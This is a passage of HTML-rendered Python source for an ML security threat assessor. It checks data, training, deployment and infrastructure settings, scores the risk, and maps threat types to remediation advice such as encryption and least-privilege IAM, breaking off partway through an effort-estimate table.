                <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Data stored without encryption</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">impact</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Unauthorized access to sensitive training data</span><span class="sh">'</span>
            <span class="p">})</span>
            <span class="n">threats</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_level</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span>
        
        <span class="c1"># Check access controls
</span>        <span class="k">if</span> <span class="ow">not</span> <span class="n">data_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">access_controls</span><span class="sh">'</span><span class="p">,</span> <span class="p">{}):</span>
            <span class="n">threats</span><span class="p">[</span><span class="sh">'</span><span class="s">identified_threats</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                <span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">unauthorized_access</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Insufficient access controls on data</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">impact</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Potential data manipulation or theft</span><span class="sh">'</span>
            <span class="p">})</span>
        
        <span class="c1"># Check data lineage tracking
</span>        <span class="k">if</span> <span class="ow">not</span> <span class="n">data_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">lineage_tracking</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
            <span class="n">threats</span><span class="p">[</span><span class="sh">'</span><span class="s">security_gaps</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                <span class="sh">'</span><span class="s">gap_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">audit_trail</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">No data lineage tracking implemented</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">recommendation</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Implement comprehensive data lineage tracking</span><span class="sh">'</span>
            <span class="p">})</span>
        
        <span class="c1"># Check for PII handling
</span>        <span class="k">if</span> <span class="n">data_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">contains_pii</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">)</span> <span class="ow">and</span> <span class="ow">not</span> <span class="n">data_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">pii_protection</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
            <span class="n">threats</span><span class="p">[</span><span class="sh">'</span><span class="s">identified_threats</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                <span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">privacy_violation</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">critical</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">PII data without adequate protection</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">impact</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Regulatory compliance violations and privacy breaches</span><span class="sh">'</span>
            <span class="p">})</span>
            <span class="n">threats</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_level</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="sh">'</span><span class="s">critical</span><span class="sh">'</span>
        
        <span class="k">return</span> <span class="n">threats</span>
    
    <span class="k">def</span> <span class="nf">_assess_training_security_threats</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">training_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Assess threats specific to model training components</span><span class="sh">"""</span>
        
        <span class="n">threats</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">risk_level</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">low</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">identified_threats</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">security_gaps</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">recommendations</span><span class="sh">'</span><span class="p">:</span> <span class="p">[]</span>
        <span class="p">}</span>
        
        <span class="c1"># Check training job isolation
</span>        <span class="k">if</span> <span class="ow">not</span> <span class="n">training_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">network_isolation</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
            <span class="n">threats</span><span class="p">[</span><span class="sh">'</span><span class="s">identified_threats</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                <span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">training_exposure</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Training jobs not network isolated</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">impact</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Potential model theft or manipulation</span><span class="sh">'</span>
            <span class="p">})</span>
        
        <span class="c1"># Check model artifact protection
</span>        <span class="k">if</span> <span class="ow">not</span> <span class="n">training_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">model_encryption</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
            <span class="n">threats</span><span class="p">[</span><span class="sh">'</span><span class="s">identified_threats</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                <span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">model_theft</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Model artifacts not encrypted</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">impact</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Intellectual property theft</span><span class="sh">'</span>
            <span class="p">})</span>
            <span class="n">threats</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_level</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span>
        
        <span class="c1"># Check training data validation
</span>        <span class="k">if</span> <span class="ow">not</span> <span class="n">training_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">data_validation</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
            <span class="n">threats</span><span class="p">[</span><span class="sh">'</span><span class="s">identified_threats</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                <span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">data_poisoning</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">No training data validation implemented</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">impact</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Model performance degradation or backdoors</span><span class="sh">'</span>
            <span class="p">})</span>
        
        <span class="c1"># Check hyperparameter security
</span>        <span class="k">if</span> <span class="n">training_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">exposed_hyperparameters</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
            <span class="n">threats</span><span class="p">[</span><span class="sh">'</span><span class="s">security_gaps</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                <span class="sh">'</span><span class="s">gap_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">information_leakage</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Hyperparameters exposed in logs or metadata</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">recommendation</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Sanitize hyperparameter logging</span><span class="sh">'</span>
            <span class="p">})</span>
        
        <span class="k">return</span> <span class="n">threats</span>
    
    <span class="k">def</span> <span class="nf">_assess_deployment_security_threats</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">deployment_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Assess threats specific to model deployment components</span><span class="sh">"""</span>
        
        <span class="n">threats</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">risk_level</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">low</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">identified_threats</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">security_gaps</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">recommendations</span><span class="sh">'</span><span class="p">:</span> <span class="p">[]</span>
        <span class="p">}</span>
        
        <span class="c1"># Check endpoint security
</span>        <span class="k">if</span> <span class="ow">not</span> <span class="n">deployment_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">authentication_enabled</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
            <span class="n">threats</span><span class="p">[</span><span class="sh">'</span><span class="s">identified_threats</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                <span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">unauthorized_inference</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Model endpoints without authentication</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">impact</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Unauthorized model access and potential data extraction</span><span class="sh">'</span>
            <span class="p">})</span>
            <span class="n">threats</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_level</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span>
        
        <span class="c1"># Check inference monitoring
</span>        <span class="k">if</span> <span class="ow">not</span> <span class="n">deployment_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">inference_monitoring</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
            <span class="n">threats</span><span class="p">[</span><span class="sh">'</span><span class="s">security_gaps</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                <span class="sh">'</span><span class="s">gap_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">attack_detection</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">No inference request monitoring</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">recommendation</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Implement real-time inference monitoring</span><span class="sh">'</span>
            <span class="p">})</span>
        
        <span class="c1"># Check model versioning
</span>        <span class="k">if</span> <span class="ow">not</span> <span class="n">deployment_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">version_control</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
            <span class="n">threats</span><span class="p">[</span><span class="sh">'</span><span class="s">identified_threats</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                <span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">rollback_attack</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">No model version control</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">impact</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Potential deployment of compromised models</span><span class="sh">'</span>
            <span class="p">})</span>
        
        <span class="c1"># Check rate limiting
</span>        <span class="k">if</span> <span class="ow">not</span> <span class="n">deployment_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">rate_limiting</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
            <span class="n">threats</span><span class="p">[</span><span class="sh">'</span><span class="s">identified_threats</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                <span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">resource_exhaustion</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">No rate limiting on inference endpoints</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">impact</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Denial of service attacks</span><span class="sh">'</span>
            <span class="p">})</span>
        
        <span class="k">return</span> <span class="n">threats</span>
    
    <span class="k">def</span> <span class="nf">_assess_infrastructure_security_threats</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">infra_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Assess threats specific to infrastructure components</span><span class="sh">"""</span>
        
        <span class="n">threats</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">risk_level</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">low</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">identified_threats</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">security_gaps</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">recommendations</span><span class="sh">'</span><span class="p">:</span> <span class="p">[]</span>
        <span class="p">}</span>
        
        <span class="c1"># Check container security
</span>        <span class="k">if</span> <span class="n">infra_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">uses_containers</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
            <span class="k">if</span> <span class="ow">not</span> <span class="n">infra_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">container_scanning</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
                <span class="n">threats</span><span class="p">[</span><span class="sh">'</span><span class="s">identified_threats</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                    <span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">container_vulnerability</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Containers not scanned for vulnerabilities</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">impact</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Potential exploitation of container vulnerabilities</span><span class="sh">'</span>
                <span class="p">})</span>
        
        <span class="c1"># Check IAM permissions
</span>        <span class="k">if</span> <span class="n">infra_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">overprivileged_roles</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
            <span class="n">threats</span><span class="p">[</span><span class="sh">'</span><span class="s">identified_threats</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                <span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">privilege_escalation</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Overprivileged IAM roles detected</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">impact</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Potential lateral movement and privilege escalation</span><span class="sh">'</span>
            <span class="p">})</span>
            <span class="n">threats</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_level</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span>
        
        <span class="c1"># Check network security
</span>        <span class="k">if</span> <span class="ow">not</span> <span class="n">infra_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">vpc_isolation</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
            <span class="n">threats</span><span class="p">[</span><span class="sh">'</span><span class="s">security_gaps</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                <span class="sh">'</span><span class="s">gap_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">network_isolation</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Infrastructure not isolated in VPC</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">recommendation</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Deploy ML infrastructure in isolated VPC</span><span class="sh">'</span>
            <span class="p">})</span>
        
        <span class="k">return</span> <span class="n">threats</span>
    
    <span class="k">def</span> <span class="nf">_calculate_overall_risk_score</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">threat_analysis</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">int</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Calculate overall risk score based on identified threats</span><span class="sh">"""</span>
        
        <span class="n">risk_scores</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">critical</span><span class="sh">'</span><span class="p">:</span> <span class="mi">10</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">:</span> <span class="mi">7</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">:</span> <span class="mi">4</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">low</span><span class="sh">'</span><span class="p">:</span> <span class="mi">1</span>
        <span class="p">}</span>
        
        <span class="n">total_score</span> <span class="o">=</span> <span class="mi">0</span>
        <span class="n">threat_count</span> <span class="o">=</span> <span class="mi">0</span>
        
        <span class="k">for</span> <span class="n">category</span><span class="p">,</span> <span class="n">threats</span> <span class="ow">in</span> <span class="n">threat_analysis</span><span class="p">.</span><span class="nf">items</span><span class="p">():</span>
            <span class="k">if</span> <span class="nf">isinstance</span><span class="p">(</span><span class="n">threats</span><span class="p">,</span> <span class="nb">dict</span><span class="p">)</span> <span class="ow">and</span> <span class="sh">'</span><span class="s">identified_threats</span><span class="sh">'</span> <span class="ow">in</span> <span class="n">threats</span><span class="p">:</span>
                <span class="k">for</span> <span class="n">threat</span> <span class="ow">in</span> <span class="n">threats</span><span class="p">[</span><span class="sh">'</span><span class="s">identified_threats</span><span class="sh">'</span><span class="p">]:</span>
                    <span class="n">severity</span> <span class="o">=</span> <span class="n">threat</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">low</span><span class="sh">'</span><span class="p">)</span>
                    <span class="n">total_score</span> <span class="o">+=</span> <span class="n">risk_scores</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">severity</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
                    <span class="n">threat_count</span> <span class="o">+=</span> <span class="mi">1</span>
        
        <span class="k">if</span> <span class="n">threat_count</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
            <span class="k">return</span> <span class="mi">1</span>
        
        <span class="n">average_score</span> <span class="o">=</span> <span class="n">total_score</span> <span class="o">/</span> <span class="n">threat_count</span>
        <span class="k">return</span> <span class="nf">min</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="nf">max</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="nf">int</span><span class="p">(</span><span class="n">average_score</span><span class="p">)))</span>
    
    <span class="k">def</span> <span class="nf">_generate_security_recommendations</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">threat_analysis</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">List</span><span class="p">[</span><span class="n">Dict</span><span class="p">]:</span>
        <span class="sh">"""</span><span class="s">Generate prioritized security recommendations</span><span class="sh">"""</span>
        
        <span class="n">recommendations</span> <span class="o">=</span> <span class="p">[]</span>
        
        <span class="c1"># High-priority recommendations based on critical/high threats
</span>        <span class="k">for</span> <span class="n">category</span><span class="p">,</span> <span class="n">threats</span> <span class="ow">in</span> <span class="n">threat_analysis</span><span class="p">.</span><span class="nf">items</span><span class="p">():</span>
            <span class="k">if</span> <span class="nf">isinstance</span><span class="p">(</span><span class="n">threats</span><span class="p">,</span> <span class="nb">dict</span><span class="p">)</span> <span class="ow">and</span> <span class="sh">'</span><span class="s">identified_threats</span><span class="sh">'</span> <span class="ow">in</span> <span class="n">threats</span><span class="p">:</span>
                <span class="k">for</span> <span class="n">threat</span> <span class="ow">in</span> <span class="n">threats</span><span class="p">[</span><span class="sh">'</span><span class="s">identified_threats</span><span class="sh">'</span><span class="p">]:</span>
                    <span class="k">if</span> <span class="n">threat</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">)</span> <span class="ow">in</span> <span class="p">[</span><span class="sh">'</span><span class="s">critical</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">]:</span>
                        <span class="n">recommendations</span><span class="p">.</span><span class="nf">append</span><span class="p">({</span>
                            <span class="sh">'</span><span class="s">priority</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span>
                            <span class="sh">'</span><span class="s">category</span><span class="sh">'</span><span class="p">:</span> <span class="n">category</span><span class="p">,</span>
                            <span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">:</span> <span class="n">threat</span><span class="p">[</span><span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">],</span>
                            <span class="sh">'</span><span class="s">recommendation</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">_get_threat_remediation</span><span class="p">(</span><span class="n">threat</span><span class="p">[</span><span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">]),</span>
                            <span class="sh">'</span><span class="s">estimated_effort</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">_estimate_remediation_effort</span><span class="p">(</span><span class="n">threat</span><span class="p">[</span><span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">])</span>
                        <span class="p">})</span>
        
        <span class="k">return</span> <span class="n">recommendations</span>
    
    <span class="k">def</span> <span class="nf">_get_threat_remediation</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">threat_type</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Get specific remediation advice for threat types</span><span class="sh">"""</span>
        
        <span class="n">remediations</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">data_exposure</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Implement KMS encryption for all data at rest and in transit</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">unauthorized_access</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Deploy IAM policies with least privilege access</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">data_poisoning</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Implement data validation and integrity checks</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">model_theft</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Enable model artifact encryption and access logging</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">training_exposure</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Enable network isolation for training jobs</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">unauthorized_inference</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Implement authentication and authorization for endpoints</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">container_vulnerability</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Enable container image scanning and vulnerability patching</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">privilege_escalation</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Review and restrict IAM permissions to minimum required</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">privacy_violation</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Implement PII detection and anonymization</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">resource_exhaustion</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Deploy rate limiting and resource quotas</span><span class="sh">'</span>
        <span class="p">}</span>
        
        <span class="k">return</span> <span class="n">remediations</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">threat_type</span><span class="p">,</span> <span class="sh">'</span><span class="s">Consult security team for specific guidance</span><span class="sh">'</span><span class="p">)</span>
    
    <span class="k">def</span> <span class="nf">_estimate_remediation_effort</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">threat_type</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Estimate effort required for threat remediation</span><span class="sh">"""</span>
        
        <span class="n">effort_estimates</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">data_exposure</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">,</span>
